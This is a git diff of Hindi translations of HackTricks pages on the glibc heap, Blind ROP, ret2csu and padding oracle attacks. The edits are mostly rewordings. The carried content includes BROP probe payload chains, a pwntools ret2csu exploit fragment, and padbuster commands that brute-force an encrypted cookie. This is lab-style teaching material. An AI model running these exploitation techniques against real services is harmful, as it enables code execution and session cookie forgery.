यह संरचना मेमोरी के एक विशेष टुकड़े का प्रतिनिधित्व करती है। विभिन्न फ़ील्ड्स आवंटित और अव्यवस्थित टुकड़ों के लिए अलग-अलग अर्थ रखते हैं।
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
|
@ -163,9 +163,9 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
|
||||
* `A`: यदि 1 है तो यह एक सबहीप से आता है, यदि 0 है तो यह मुख्य एरेना में है
|
||||
* `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है
|
||||
* `P`: यदि 1 है, तो पिछला चंक उपयोग में है
|
||||
* `P`: यदि 1 है, तो पिछले चंक का उपयोग हो रहा है
|
||||
|
||||
फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछला चंक आकार क्या है (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)।
|
||||
फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछले चंक का आकार क्या है (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को संग्रहीत करने के लिए)।
|
||||
|
||||
इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है:
|
||||
|
||||
|
@ -294,7 +294,7 @@ the chunk to the user, if necessary. */
|
|||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
* आकार और अन्य चंक्स के लिए पॉइंटर्स
|
||||
* आकार और अन्य टुकड़ों के लिए पॉइंटर्स
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
|
@ -470,15 +470,15 @@ return 0;
|
|||
|
||||
पिछले उदाहरण को डिबग करते समय यह देखा जा सकता है कि शुरुआत में केवल 1 एरेना है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरेना बनाया जाता है:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
और इसके अंदर कुछ चंक्स पाए जा सकते हैं:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## बिन और मेमोरी आवंटन/फ्रीज़
|
||||
|
||||
|
|
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Check this great graphical explanation of the unlink process:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Security Checks
|
||||
|
||||
|
|
|
@ -35,28 +35,28 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### **4. स्टॉप गैजेट खोजें**
|
||||
|
||||
यह गैजेट मूल रूप से यह पुष्टि करने की अनुमति देता है कि ROP गैजेट द्वारा कुछ दिलचस्प निष्पादित किया गया था क्योंकि निष्पादन क्रैश नहीं हुआ। आमतौर पर, यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकता है** और यह ROP श्रृंखला के अंत में स्थित होता है जब किसी विशिष्ट ROP गैजेट के निष्पादन की पुष्टि करने के लिए ROP गैजेट खोजा जाता है।
|
||||
यह गैजेट मूल रूप से यह पुष्टि करने की अनुमति देता है कि ROP गैजेट द्वारा कुछ दिलचस्प निष्पादित किया गया था क्योंकि निष्पादन क्रैश नहीं हुआ। आमतौर पर, यह गैजेट कुछ ऐसा होगा जो **निष्पादन को रोकता है** और यह ROP श्रृंखला के अंत में स्थित होता है जब किसी विशिष्ट ROP गैजेट के निष्पादन की पुष्टि करने के लिए ROP गैजेट्स की खोज की जाती है।
|
||||
|
||||
### **5. BROP गैजेट खोजें**
|
||||
|
||||
यह तकनीक [**ret2csu**](ret2csu.md) गैजेट का उपयोग करती है। और इसका कारण यह है कि यदि आप कुछ निर्देशों के बीच में इस गैजेट तक पहुंचते हैं तो आपको **`rsi`** और **`rdi`** को नियंत्रित करने के लिए गैजेट मिलते हैं:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
ये गैजेट होंगे:
|
||||
|
||||
* `pop rsi; pop r15; ret`
|
||||
* `pop rdi; ret`
|
||||
|
||||
ध्यान दें कि इन गैजेट्स के साथ एक फ़ंक्शन को कॉल करने के लिए **2 तर्कों को नियंत्रित करना संभव है**।
|
||||
ध्यान दें कि इन गैजेट्स के साथ यह **2 तर्कों** को नियंत्रित करना संभव है।
|
||||
|
||||
इसके अलावा, ध्यान दें कि ret2csu गैजेट का **बहुत अद्वितीय हस्ताक्षर** है क्योंकि यह स्टैक से 6 रजिस्टर को पॉप करेगा। इसलिए एक श्रृंखला भेजना जैसे:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
यदि **STOP निष्पादित होता है**, तो इसका अर्थ है कि **एक पता जो स्टैक से 6 रजिस्टर को पॉप कर रहा था** का उपयोग किया गया था। या कि उपयोग किया गया पता भी एक STOP पता था।
|
||||
यदि **STOP निष्पादित होता है**, तो इसका अर्थ है कि **एक पता जो स्टैक से 6 रजिस्टर को पॉप कर रहा है** का उपयोग किया गया था। या कि उपयोग किया गया पता भी एक STOP पता था।
|
||||
|
||||
इस अंतिम विकल्प को **हटाने के लिए** एक नई श्रृंखला जैसे निम्नलिखित निष्पादित की जाती है और इसे पिछले वाले को पुष्टि करने के लिए STOP गैजेट को निष्पादित नहीं करना चाहिए:
|
||||
इस अंतिम विकल्प को **हटाने के लिए** एक नई श्रृंखला जैसे निम्नलिखित निष्पादित की जाती है और इसे STOP गैजेट को निष्पादित नहीं करना चाहिए ताकि यह पुष्टि हो सके कि पिछले ने 6 रजिस्टर को पॉप किया था:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
|
@ -64,7 +64,7 @@ ret2csu गैजेट के पते को जानकर, यह सं
|
|||
|
||||
### 6. PLT खोजें
|
||||
|
||||
PLT तालिका को 0x400000 से या स्टैक से **लीक किए गए RIP पते** से खोजा जा सकता है (यदि **PIE** का उपयोग किया जा रहा है)। तालिका के **प्रविष्टियाँ** **16B** (0x10B) द्वारा **अलग** होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तर्क सही न हों। इसके अलावा, PLT में एक प्रविष्टि के पते की जांच करना **+ 6B भी क्रैश नहीं होता** क्योंकि यह पहला कोड है जो निष्पादित होता है।
|
||||
PLT तालिका को 0x400000 से या स्टैक से **लीक किए गए RIP पते** से खोजा जा सकता है (यदि **PIE** का उपयोग किया जा रहा है)। तालिका के **प्रविष्टियाँ** **16B** (0x10B) द्वारा **अलग** होती हैं, और जब एक फ़ंक्शन को कॉल किया जाता है तो सर्वर क्रैश नहीं होता है भले ही तर्क सही न हों। इसके अलावा, एक प्रविष्टि के पते की जांच करना **PLT + 6B भी क्रैश नहीं होता** क्योंकि यह पहला कोड है जो निष्पादित होता है।
|
||||
|
||||
इसलिए, निम्नलिखित व्यवहारों की जांच करके PLT तालिका को खोजना संभव है:
|
||||
|
||||
|
@ -76,14 +76,14 @@ PLT तालिका को 0x400000 से या स्टैक से **
|
|||
|
||||
**`strcmp`** फ़ंक्शन रजिस्टर **`rdx`** को तुलना की जा रही स्ट्रिंग की लंबाई पर सेट करता है। ध्यान दें कि **`rdx`** **तीसरा तर्क** है और हमें इसे **0 से बड़ा** होना चाहिए ताकि बाद में `write` का उपयोग करके प्रोग्राम को लीक किया जा सके।
|
||||
|
||||
हम PLT में **`strcmp`** के स्थान को इसके व्यवहार के आधार पर खोज सकते हैं यह देखते हुए कि हम अब फ़ंक्शनों के 2 पहले तर्कों को नियंत्रित कर सकते हैं:
|
||||
हम **`strcmp`** के स्थान को PLT में इसके व्यवहार के आधार पर खोज सकते हैं यह तथ्य का उपयोग करते हुए कि हम अब फ़ंक्शनों के 2 पहले तर्कों को नियंत्रित कर सकते हैं:
|
||||
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> क्रैश
|
||||
* strcmp(\<non read addr>, \<read addr>) -> क्रैश
|
||||
* strcmp(\<read addr>, \<non read addr>) -> क्रैश
|
||||
* strcmp(\<read addr>, \<read addr>) -> कोई क्रैश नहीं
|
||||
|
||||
इसकी जांच करने के लिए PLT तालिका के प्रत्येक प्रविष्टि को कॉल करके या **PLT धीमी पथ** का उपयोग करके किया जा सकता है जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने + 0xb** (जो **`dlresolve`** को कॉल करता है) के बाद स्टैक में **प्रविष्टि संख्या को प्रॉब करने के लिए** (शून्य से शुरू) सभी PLT प्रविष्टियों को स्कैन करने के लिए है:
|
||||
इसकी जांच करने के लिए PLT तालिका के प्रत्येक प्रविष्टि को कॉल करके या **PLT धीमी पथ** का उपयोग करके किया जा सकता है जो मूल रूप से **PLT तालिका में एक प्रविष्टि को कॉल करने** पर आधारित है + 0xb (जो **`dlresolve`** को कॉल करता है) और स्टैक में **प्रविष्टि संख्या जिसे जांचना है** (शून्य से शुरू) को स्कैन करने के लिए:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> क्रैश
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> क्रैश होगा
|
||||
|
@ -114,13 +114,13 @@ PLT तालिका को 0x400000 से या स्टैक से **
|
|||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए आइए इसके बारे में बात करते हैं:
|
||||
हालांकि, मूल पेपर केवल **`write`** का उल्लेख करता है, इसलिए चलिए इसके बारे में बात करते हैं:
|
||||
|
||||
वर्तमान समस्या यह है कि हमें नहीं पता **write फ़ंक्शन PLT के अंदर कहाँ है** और हमें नहीं पता **डेटा को हमारे सॉकेट पर भेजने के लिए fd संख्या**।
|
||||
|
||||
हालांकि, हम जानते हैं **PLT तालिका कहाँ है** और इसके **व्यवहार** के आधार पर write को खोजना संभव है। और हम सर्वर के साथ **कई कनेक्शन** बना सकते हैं और एक **उच्च FD** का उपयोग कर सकते हैं यह उम्मीद करते हुए कि यह हमारे कुछ कनेक्शनों से मेल खाता है।
|
||||
|
||||
इन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर:
|
||||
उन फ़ंक्शनों को खोजने के लिए व्यवहार हस्ताक्षर:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो puts मिला
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> यदि डेटा प्रिंट होता है, तो dprintf मिला
|
||||
|
|
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
**`__libc_csu_init`** में, दो निर्देशों के अनुक्रम (gadgets) को उजागर करने के लिए हैं:
|
||||
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये ऐसे स्लॉट की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
|
||||
1. पहला अनुक्रम हमें कई रजिस्टरों (rbx, rbp, r12, r13, r14, r15) में मान सेट करने की अनुमति देता है। ये उन स्लॉट्स की तरह होते हैं जहाँ हम बाद में उपयोग करने के लिए संख्याएँ या पते संग्रहीत कर सकते हैं।
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -41,7 +41,7 @@ ret;
|
|||
|
||||
2. दूसरा अनुक्रम उन मानों का उपयोग करता है जो हमने सेट किए हैं, कुछ चीजें करने के लिए:
|
||||
* **विशिष्ट मानों को अन्य रजिस्टरों में स्थानांतरित करें**, जिससे वे हमारे लिए फ़ंक्शनों में पैरामीटर के रूप में उपयोग करने के लिए तैयार हो जाएं।
|
||||
* **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर, फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
|
||||
* **एक स्थान पर कॉल करें** जो r15 और rbx में मानों को जोड़कर और फिर rbx को 8 से गुणा करके निर्धारित किया गया है।
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -62,8 +62,8 @@ ret
|
|||
```
|
||||
शर्तें होंगी:
|
||||
|
||||
* `[r12 + rbx*8]` को एक पता इंगित करना चाहिए जो एक कॉल करने योग्य फ़ंक्शन को संग्रहीत करता है (यदि कोई विचार नहीं है और कोई पाई नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
* यदि \_init `0x400560` पर है, तो इसे खोजने के लिए GEF का उपयोग करें और इसे मेमोरी में एक पॉइंटर के लिए खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर के साथ पता बनाएं:
|
||||
* `[r12 + rbx*8]` को एक कॉल करने योग्य फ़ंक्शन को स्टोर करने वाले पते की ओर इशारा करना चाहिए (यदि कोई विचार नहीं है और कोई पाई नहीं है, तो आप बस `_init` फ़ंक्शन का उपयोग कर सकते हैं):
|
||||
* यदि \_init `0x400560` पर है, तो इसे खोजने के लिए GEF का उपयोग करें और इसे मेमोरी में एक पॉइंटर के लिए खोजें और `[r12 + rbx*8]` को \_init के लिए पॉइंटर वाला पता बनाएं:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
gef➤ search-pattern 0x400560
|
||||
|
@ -74,13 +74,13 @@ gef➤ search-pattern 0x400560
|
|||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` और `rbx` का मान समान होना चाहिए ताकि कूद से बचा जा सके
|
||||
* कुछ छोड़े गए पॉप हैं जिन्हें आपको ध्यान में रखना चाहिए
|
||||
* कुछ छोड़े गए pops हैं जिनका आपको ध्यान रखना होगा
|
||||
|
||||
## RDI और RSI
|
||||
|
||||
**`rdi`** और **`rsi`** को ret2csu गैजेट से नियंत्रित करने का एक और तरीका है विशेष ऑफसेट्स तक पहुंचना:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
अधिक जानकारी के लिए इस पृष्ठ की जांच करें:
|
||||
|
||||
|
@ -92,12 +92,12 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
### कॉल का उपयोग करना
|
||||
|
||||
कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।
|
||||
कल्पना करें कि आप एक syscall करना चाहते हैं या `write()` जैसी किसी फ़ंक्शन को कॉल करना चाहते हैं लेकिन आपको `rdx` और `rsi` रजिस्टर में विशेष मान चाहिए। सामान्यतः, आप उन गैजेट्स की तलाश करेंगे जो इन रजिस्टरों को सीधे सेट करते हैं, लेकिन आप कोई नहीं पा रहे हैं।
|
||||
|
||||
यहां **ret2csu** का उपयोग होता है:
|
||||
यहां **ret2csu** काम में आता है:
|
||||
|
||||
1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करके स्टैक से मानों को पॉप करें और rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डालें।
|
||||
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए बना सकते हैं जो आप पता लगाते हैं और `[r15 + rbx*8]` में रखते हैं।
|
||||
1. **रजिस्टर सेट करें**: पहले जादुई गैजेट का उपयोग करें ताकि स्टैक से मानों को निकालकर rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), और r15 में डाल सकें।
|
||||
2. **दूसरे गैजेट का उपयोग करें**: उन रजिस्टरों को सेट करने के बाद, आप दूसरे गैजेट का उपयोग करते हैं। यह आपको अपने चुने हुए मानों को `rdx` और `rsi` (क्रमशः r14 और r13 से) में स्थानांतरित करने की अनुमति देता है, जो फ़ंक्शन कॉल के लिए पैरामीटर तैयार करता है। इसके अलावा, `r15` और `rbx` को नियंत्रित करके, आप प्रोग्राम को उस फ़ंक्शन को कॉल करने के लिए मजबूर कर सकते हैं जो आप गणना करते हैं और `[r15 + rbx*8]` में रखते हैं।
|
||||
|
||||
आपके पास [**इस तकनीक का उपयोग करते हुए एक उदाहरण और इसे यहां समझाते हुए**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) है, और यह अंतिम शोषण है जिसका इसने उपयोग किया:
|
||||
```python
|
||||
|
@ -124,7 +124,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP चेन में `win` का पता stdin से कॉल करते हुए प्राप्त करना और इसे r15 में स्टोर करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
ध्यान दें कि पिछले एक्सप्लॉइट का उद्देश्य **`RCE`** करना नहीं है, इसका उद्देश्य केवल एक फ़ंक्शन **`win`** को कॉल करना है (ROP श्रृंखला में stdin से `win` का पता लेना और इसे r15 में संग्रहीत करना) तीसरे तर्क के साथ जिसका मान `0xdeadbeefcafed00d` है।
|
||||
{% endhint %}
|
||||
|
||||
### कॉल को बायपास करना और ret तक पहुँचना
|
||||
|
@ -181,7 +181,7 @@ target.interactive()
|
|||
```
|
||||
### Why Not Just Use libc Directly?
|
||||
|
||||
आमतौर पर ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटर को नियंत्रित करने की आवश्यकता होती है जिन्हें सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं किया जा सकता। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
आमतौर पर ये मामले [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) के लिए भी संवेदनशील होते हैं, लेकिन कभी-कभी आपको उन पैरामीटरों को नियंत्रित करने की आवश्यकता होती है जिन्हें आप सीधे libc में पाए गए गैजेट्स के साथ आसानी से नियंत्रित नहीं कर सकते। उदाहरण के लिए, `write()` फ़ंक्शन को तीन पैरामीटर की आवश्यकता होती है, और **इन सभी को सीधे सेट करने के लिए गैजेट्स खोजना संभव नहीं हो सकता**।
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Padding Oracle
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - Cipher Block Chaining
|
||||
|
@ -49,7 +47,7 @@ Note how in the last example the **last block was full so another one was genera
|
|||
|
||||
## Padding Oracle
|
||||
|
||||
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि एक **अमान्य पैडिंग एक पता लगाने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास एक **पैडिंग ओरेकल भेद्यता** है। पता लगाने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या एक **धीमी प्रतिक्रिया** हो सकता है।
|
||||
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो यह पहले डेटा को डिक्रिप्ट करेगा; फिर यह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि एक **अमान्य पैडिंग एक पहचानने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास एक **पैडिंग ओरेकल भेद्यता** है। पहचानने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या एक **धीमी प्रतिक्रिया** हो सकता है।
|
||||
|
||||
यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **किसी भी स्पष्ट पाठ को एन्क्रिप्ट** कर सकते हैं।
|
||||
|
||||
|
@ -73,9 +71,9 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
|
|||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
### The theory
|
||||
### सिद्धांत
|
||||
|
||||
In **सारांश**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल हमला अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है।
|
||||
**संक्षेप में**, आप सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकने वाले सही मानों का अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं। फिर, पैडिंग ऑरेकल अटैक अंत से शुरू होकर सही मान का अनुमान लगाते हुए बाइट्स को डिक्रिप्ट करना शुरू करेगा जो **1, 2, 3, आदि** की पैडिंग बनाता है।
|
||||
|
||||
![](<../.gitbook/assets/image (561).png>)
|
||||
|
||||
|
@ -102,33 +100,31 @@ In **सारांश**, आप सभी **विभिन्न पैडि
|
|||
|
||||
**इस श्रृंखला का पालन करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट न कर लें।**
|
||||
|
||||
### Detection of the vulnerability
|
||||
### भेद्यता का पता लगाना
|
||||
|
||||
रजिस्टर करें और एक खाता बनाएं और इस खाते से लॉग इन करें।\
|
||||
एक रजिस्टर और खाता बनाएं और इस खाते से लॉग इन करें।\
|
||||
यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो संभवतः एप्लिकेशन में **कुछ** **गलत** है। **कुकी हर बार लॉग इन करते समय अद्वितीय होनी चाहिए**। यदि कुकी **हमेशा** **एक सी** है, तो यह संभवतः हमेशा मान्य होगी और इसे अमान्य करने का कोई तरीका नहीं होगा।
|
||||
|
||||
अब, यदि आप **कुकी को संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से **एक त्रुटि** मिलती है।\
|
||||
लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से कमजोर है।
|
||||
अब, यदि आप **कुकी को संशोधित** करने की कोशिश करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\
|
||||
लेकिन यदि आप पैडिंग को BF करते हैं (उदाहरण के लिए padbuster का उपयोग करते हुए) तो आप एक अन्य उपयोगकर्ता के लिए मान्य कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है।
|
||||
|
||||
### References
|
||||
### संदर्भ
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
